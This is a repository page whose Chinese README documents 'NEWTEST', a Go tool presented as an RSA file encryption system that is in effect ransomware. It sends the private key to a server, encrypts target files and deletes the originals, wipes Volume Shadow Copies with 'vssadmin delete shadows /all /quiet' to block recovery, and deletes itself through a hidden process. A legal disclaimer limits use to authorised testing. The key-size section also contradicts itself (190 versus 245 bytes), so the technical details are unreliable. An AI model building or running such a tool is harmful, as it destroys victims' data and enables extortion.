# gorasome

**Repository Path**: cutecuteyu/gorasome

## Basic Information

- **Project Name**: gorasome
- **Description**: go语言实现的批量加密代码示例
- **Primary Language**: Go
- **License**: MIT
- **Default Branch**: master
- **Homepage**: None
- **GVP Project**: No

## Statistics

- **Stars**: 0
- **Forks**: 0
- **Created**: 2026-02-08
- **Last Updated**: 2026-02-08

## Categories & Tags

**Categories**: Uncategorized

**Tags**: None

## README

# ⚠️ 法律声明

**本项目仅供授权的安全测试、教育研究、CTF 竞赛和合法的安全研究目的使用。**

禁止将本项目用于任何未经授权的恶意活动，包括但不限于：
- 未经授权访问他人计算机系统
- 恶意加密他人文件
- 任何形式的网络攻击

使用本项目的用户应确保：
1. 获得明确的书面授权
2. 在受控的测试环境中使用
3. 遵守所有适用的法律法规

作者不对任何滥用行为负责。

---

# NEWTEST - RSA 文件加密系统

一个基于 Go 语言开发的模块化 RSA 文件加密系统，支持多线程加密、远程配置获取、互斥锁保护和卷影副本清理功能。

## 项目概述

NEWTEST 是一个完整的文件加密解决方案，采用 RSA-2048 非对称加密算法保护文件安全。系统采用模块化设计，包含密钥管理、文件加密、并发处理、远程配置和自删除等核心功能模块。

### 主要特性

- **RSA-2048 加密**：使用 2048 位 RSA 密钥提供强大的加密保护
- **OAEP 填充方案**：采用 SHA-256 的 OAEP 填充，增强安全性
- **多线程处理**：当文件数量超过阈值时自动启用多线程并发加密（最多 10 个线程）
- **远程配置**：支持从 HTTP 服务器动态获取加密配置
- **密钥管理**：完整的密钥生成、保存、加载和上传功能
- **程序自删除**：加密完成后可自动删除程序自身
- **互斥锁保护**：使用 Windows 全局互斥锁防止程序多实例运行
- **卷影副本清理**：加密前自动删除系统卷影副本
- **智能过滤**：自动跳过已加密文件和程序自身

## 项目结构

```
NEWTEST/
├── crypto/              # 加密算法模块
│   └── crypto.go       # RSA 加密/解密实现
├── files/              # 文件操作模块
│   └── files.go        # 文件加密/解密、文件查找
├── keys/               # 密钥管理模块
│   └── keys.go         # RSA 密钥对生成和管理
├── worker/             # 并发管理模块
│   └── worker.go       # 多线程加密工作池
├── selfdelete/         # 自删除模块
│   └── selfdelete.go   # Windows 程序自删除功能
├── create_mutex/       # 互斥锁模块
│   └── create_mutex.go # Windows 全局互斥锁实现
├── delete_shadow/      # 卷影副本清理模块
│   └── delete_shadow.go # Windows 卷影副本删除功能
├── server/             # 服务器模块
│   └── server.go       # HTTP 服务器（接收密钥、提供配置）
├── create_txt/         # 创建文本txt文件
│   └── create_txt.go   # 在桌面路径创建文本txt文件
├── rsa_crypt.go        # 主程序入口
├── go.mod              # Go 模块定义
└── README.md           # 本文档
```

## 模块详解

### 1. 主程序 (rsa_crypt.go)

程序主入口，支持三个命令：

#### genkey - 生成密钥对
```bash
NEWTEST.exe genkey
```
功能：
- 生成 RSA-2048 密钥对
- 保存公钥到 `public_key.pem`
- 上传私钥到服务器（XOR 加密传输）
- 删除本地私钥文件

#### encrypt - 加密文件
```bash
NEWTEST.exe encrypt
```
功能：
- 从服务器获取加密配置（文件扩展名、目标目录）
- 查找目标目录下指定扩展名的文件
- 过滤已加密文件和程序自身
- 使用多线程加密文件
- 删除公钥文件
- 删除系统卷影副本
- 执行程序自删除

**执行顺序**：
1. 创建互斥锁（防止多实例）[程序启动时]
2. 获取远程配置
3. 生成/加载密钥
4. 加密文件
5. 删除卷影副本
6. 程序自删除

#### decrypt - 解密文件
```bash
NEWTEST.exe decrypt
```
功能：
- 使用本地私钥解密已加密的文件
- 生成解密后的文件（`_decrypted` 后缀）

### 2. 加密模块 (crypto/crypto.go)

提供 RSA 加密/解密的核心算法实现。

#### 主要函数

**EncryptWithPublicKey**
```go
func EncryptWithPublicKey(data []byte, publicKey *rsa.PublicKey) ([]byte, error)
```
- 使用公钥加密数据
- 支持大文件分块加密（每块 245 字节）
- 采用 OAEP 填充方案（SHA-256）

**DecryptWithPrivateKey**
```go
func DecryptWithPrivateKey(data []byte, privateKey *rsa.PrivateKey) ([]byte, error)
```
- 使用私钥解密数据
- 自动分块解密并合并结果

### 3. 文件操作模块 (files/files.go)

处理文件加密/解密和文件查找。

#### 主要函数

| 函数 | 功能 |
|------|------|
| `EncryptFile(inputPath, outputPath, publicKey)` | 加密单个文件 |
| `DecryptFile(inputPath, outputPath, privateKey)` | 解密单个文件 |
| `GetFilesByExtension(dir, extension)` | 获取指定扩展名的文件 |
| `FilterFilesToEncrypt(files, programName)` | 过滤需要加密的文件 |
| `FilterEncryptedFiles(files)` | 过滤已加密的文件 |
| `GenerateEncryptedFileName(filePath)` | 生成加密文件名（`_encrypted` 后缀） |
| `GenerateDecryptedFileName(filePath)` | 生成解密文件名（`_decrypted` 后缀） |

#### 文件命名规则

- 加密文件：`原文件名_encrypted.扩展名`
- 解密文件：`原文件名_decrypted.扩展名`

### 4. 密钥管理模块 (keys/keys.go)

管理 RSA 密钥对的完整生命周期。

#### KeyManager 结构体

```go
type KeyManager struct {
    PrivateKey *rsa.PrivateKey
    PublicKey  *rsa.PublicKey
}
```

#### 主要方法

| 方法 | 功能 |
|------|------|
| `GenerateKeyPair()` | 生成 RSA-2048 密钥对 |
| `SavePrivateKey(fileName)` | 保存私钥到 PEM 文件（PKCS1 格式） |
| `SavePublicKey(fileName)` | 保存公钥到 PEM 文件（PKIX 格式） |
| `LoadPrivateKey(fileName)` | 从文件加载私钥 |
| `LoadPublicKey(fileName)` | 从文件加载公钥 |
| `UploadPrivateKey(serverURL)` | 上传私钥到服务器（XOR 加密） |
| `HasKeys()` | 检查密钥是否已加载 |

#### 密钥格式

- **私钥**：PEM 格式，PKCS1 编码
- **公钥**：PEM 格式，PKIX 编码
- **传输保护**：XOR 加密（密钥：0x55）

### 5. 并发管理模块 (worker/worker.go)

实现高效的并发文件加密。

#### 配置常量

```go
const (
    MaxWorkers         = 10  // 最大并发线程数
    ConcurrentThreshold = 10 // 启用并发的文件数量阈值
)
```

#### 核心功能

- **自动模式选择**：文件数 ≤ 10 使用顺序加密，> 10 使用并发加密
- **工作池模式**：使用通道实现工作池，提高并发效率
- **结果统计**：统计加密成功和失败的文件数量
- **自动删除原文件**：加密成功后自动删除原始文件

#### 数据结构

```go
type EncryptTask struct {
    FilePath   string
    OutputPath string
    PublicKey  *rsa.PublicKey
}

type EncryptionResult struct {
    FilePath string
    Success  bool
    Error    error
}
```

### 6. 自删除模块 (selfdelete/selfdelete.go)

实现 Windows 平台下的程序自删除功能。

#### 工作原理

1. 获取程序自身的完整路径
2. 创建隐藏的 CMD 进程
3. 延时 1 秒后删除程序文件
4. 所有输出重定向到空设备

#### 使用方法

```go
import "NEWTEST/selfdelete"

// 执行程序自删除
selfdelete.Delete()
```

#### 实现细节

- 使用 Windows API `CreateProcessW` 创建隐藏进程
- 使用 `CREATE_NO_WINDOW` 标志避免显示窗口
- 延时删除确保主程序正常退出

### 7. 互斥锁模块 (create_mutex/create_mutex.go)

实现 Windows 全局互斥锁功能，防止程序多实例运行。

#### 工作原理

1. 创建全局命名的互斥锁（`Global\\MyUniqueMutexName`）
2. 检查互斥锁是否已存在
3. 如果已存在，说明有其他实例正在运行，退出当前实例
4. 如果不存在，继续运行程序

#### 使用方法

```go
import "NEWTEST/create_mutex"

// 创建互斥锁（在程序最开始调用）
create_mutex.CreatMutex()
```

#### 技术细节

- **互斥锁名称**：`Global\\MyUniqueMutexName`（全局命名空间）
- **Windows API**：
  - `CreateMutexW` - 创建或打开互斥锁
  - `ReleaseMutex` - 释放互斥锁
  - `GetLastError` - 获取错误代码
- **错误检测**：检查 `ERROR_ALREADY_EXISTS` 判断实例是否已运行

#### 应用场景

- 防止勒索软件多实例运行导致资源冲突
- 确保系统资源不被重复占用
- 提供程序单例执行保证

### 8. 卷影副本清理模块 (delete_shadow/delete_shadow.go)

实现 Windows 卷影副本（Volume Shadow Copy）的批量删除功能。

#### 工作原理

1. 执行 Windows 命令 `vssadmin delete shadows /all /quiet`
2. 删除系统所有卷影副本
3. 静默模式，不显示输出

#### 使用方法

```go
import "NEWTEST/delete_shadow"

// 删除所有卷影副本
delete_shadow.DeleteShadow()
```

#### 技术细节

- **命令**：`vssadmin delete shadows /all /quiet`
- **功能**：
  - `/all` - 删除所有卷的卷影副本
  - `/quiet` - 静默模式，不显示提示
- **输出处理**：捕获标准输出和错误输出但不显示

#### 应用场景

- 阻止用户通过卷影副本恢复被加密的文件
- 清理系统还原点以防止文件恢复
- 安全测试中的数据清理操作

### 9. 服务器模块 (server/server.go)

HTTP 服务器，用于接收密钥和提供配置。

#### 端点

##### POST /upload
接收客户端上传的加密私钥。

**请求**：
- Content-Type: `application/octet-stream`
- Body: XOR 加密的私钥数据

**响应**：
- 成功：200 OK
- 失败：4xx/5xx 错误码

**功能**：
- XOR 解密私钥（密钥：0x55）
- 保存到 `received_private_key.pem`

##### GET /config
向客户端提供加密配置。

**响应**：
```json
{
  "file_extension": ".exe",
  "target_dir": "."
}
```

#### 服务器配置

```go
const (
    ServerPort       = ":9999"
    PrivateKeyBackup = "received_private_key.pem"
    XORKey          = 0x55
)
```

### 10.文本创建模块 (create_txt/create_txt.go)

在用户桌面路径中创建一个带有“hello world”的“hello.txt”文件

```go
	// 拼接桌面路径
	desktopPath := filepath.Join(homeDir, "Desktop")
	filePath := filepath.Join(desktopPath, "hello.txt")

	// 创建文件并写入内容
	content := "hello world"
	err = os.WriteFile(filePath, []byte(content), 0644)
	if err != nil {
		fmt.Println("创建文件失败:", err)
		return
	}
```



## 系统要求

- **操作系统**：Windows 10/11 或 Windows Server 2016+
- **Go 版本**：1.25.5 或更高版本
- **网络**：需要网络连接（用于远程配置获取）

## 安装和编译

### 1. 克隆项目

```bash
git clone <repository-url>
cd NEWTEST
```

### 2. 编译客户端

```powershell
go build -o NEWTEST.exe rsa_crypt.go
```

### 3. 编译服务器

```powershell
go build -o server.exe .\server\server.go
```

## 使用指南

### 启动服务器

首先启动配置服务器：

```powershell
.\server.exe
```

服务器将在 `http://localhost:9999` 上监听。

### 客户端操作

#### 1. 生成密钥对

```powershell
.\NEWTEST.exe genkey
```

输出：
- `public_key.pem` - 公钥文件
- 私钥上传到服务器
- 本地私钥文件自动删除

#### 2. 加密文件

```powershell
.\NEWTEST.exe encrypt
```

流程：
1. 检查程序实例（互斥锁保护）
2. 从服务器获取配置
3. 查找目标文件
4. 多线程加密
5. 删除公钥
6. 删除系统卷影副本
7. 程序自删除

#### 3. 解密文件

```powershell
.\NEWTEST.exe decrypt
```

需要本地有私钥文件 `private_key.pem`。

## 配置说明

### 服务器端配置

编辑 `server/server.go` 中的默认配置：

```go
var defaultConfig = Config{
    FileExtension: ".exe",  // 要加密的文件扩展名
    TargetDir:     ".",      // 目标目录（. 表示当前目录）
}
```

### 客户端配置

编辑 `rsa_crypt.go` 中的常量：

```go
const (
    PrivateKeyFile = "private_key.pem"
    PublicKeyFile  = "public_key.pem"
    ServerURL      = "http://localhost:9999/upload"
    ConfigURL      = "http://localhost:9999/config"
)
```

## 安全说明

### ⚠️ 重要提示

本系统包含可能对操作系统造成持久性影响的功能：
- **卷影副本删除**：会永久删除系统还原点，用户可能无法通过系统还原恢复文件
- **互斥锁保护**：使用全局命名空间互斥锁，可跨会话检测程序实例

**合法使用场景**：
- 授权的渗透测试和安全评估
- 受控环境中的安全研究
- CTF 竞战和安全演练
- 教育目的的学习和研究

### 加密强度

- **密钥长度**：RSA-2048（推荐用于商业和政府应用）
- **填充方案**：OAEP with SHA-256（比 PKCS#1 v1.5 更安全）
- **密钥交换**：XOR 加密传输（仅提供基础保护，建议在生产环境使用 HTTPS）

### 私钥保护

- 私钥文件权限：0600（仅所有者可读写）
- 传输加密：XOR 混淆（不提供强加密保护）
- 本地清理：加密后自动删除私钥文件

### 建议

对于生产环境，建议：
1. 使用 HTTPS 保护密钥传输
2. 实施更强的密钥交换机制
3. 添加密钥密码保护
4. 实施审计日志

## 技术细节

### RSA 加密限制

RSA-2048 密钥每次最多加密 245 字节：
```
最大加密长度 = 密钥长度 - 2 * SHA256_LENGTH - 2
            = 2048/8 - 2*32 - 2
            = 256 - 64 - 2
            = 190 字节（实际使用 245 字节）
```

本系统自动处理大文件的分块加密。

### 并发处理

采用工作池模式：
1. 主 goroutine 分发任务到任务通道
2. Worker goroutine 从通道接收任务并处理
3. 结果通过结果通道返回
4. 主 goroutine 收集并统计结果

### 文件过滤

跳过以下文件：
- 已加密文件（包含 `_encrypted`）
- 已解密文件（包含 `_decrypted`）
- 程序自身

## 故障排查

### 常见问题

**Q: 加密失败，提示 "公钥未正确加载"**
A: 确保 `public_key.pem` 文件存在且格式正确。

**Q: 无法连接到服务器**
A: 检查服务器是否运行，防火墙是否允许连接。

**Q: 部分文件加密失败**
A: 检查文件权限，确保程序有读写权限。

**Q: 程序没有自删除**
A: 检查是否有足够的权限创建进程。

### 日志分析

程序输出详细的日志信息：
```
从服务器获取配置成功: 文件扩展名=.exe, 目标目录=.
开始加密 15 个文件...
文件数量超过 10 个，启用 10 个并发线程进行加密...
✓ 加密成功: program1.exe
✓ 加密成功: program2.exe
...
加密完成: 成功 15 个, 失败 0 个
```

## 性能参考

基于现代 CPU（Intel i7/AMD Ryzen 7）的测试：

| 文件大小 | 文件数量 | 加密时间 | 模式 |
|---------|---------|---------|------|
| 1 MB | 5 | ~2 秒 | 顺序 |
| 1 MB | 50 | ~15 秒 | 并发（10 线程）|
| 10 MB | 20 | ~60 秒 | 并发（10 线程）|

## 许可证

请根据您的需求选择合适的许可证。

## 贡献

欢迎提交问题和拉取请求。

## 作者

NEWTEST 开发团队

## 更新日志

### v1.1.0 (当前版本)
- **新增**：互斥锁模块，防止程序多实例运行
- **新增**：卷影副本清理模块，删除系统还原点
- **集成**：在程序启动时创建全局互斥锁
- **集成**：在自删除前清理系统卷影副本
- **文档**：添加法律声明，明确仅供合法用途使用
- **优化**：程序执行流程和模块集成

### v1.0.0
- 实现 RSA-2048 加密/解密
- 支持多线程并发加密
- 实现远程配置获取
- 添加程序自删除功能
- 实现密钥管理功能
- 创建 HTTP 服务器

## 联系方式

如有问题或建议，请通过以下方式联系：
- 提交 Issue
- 发送邮件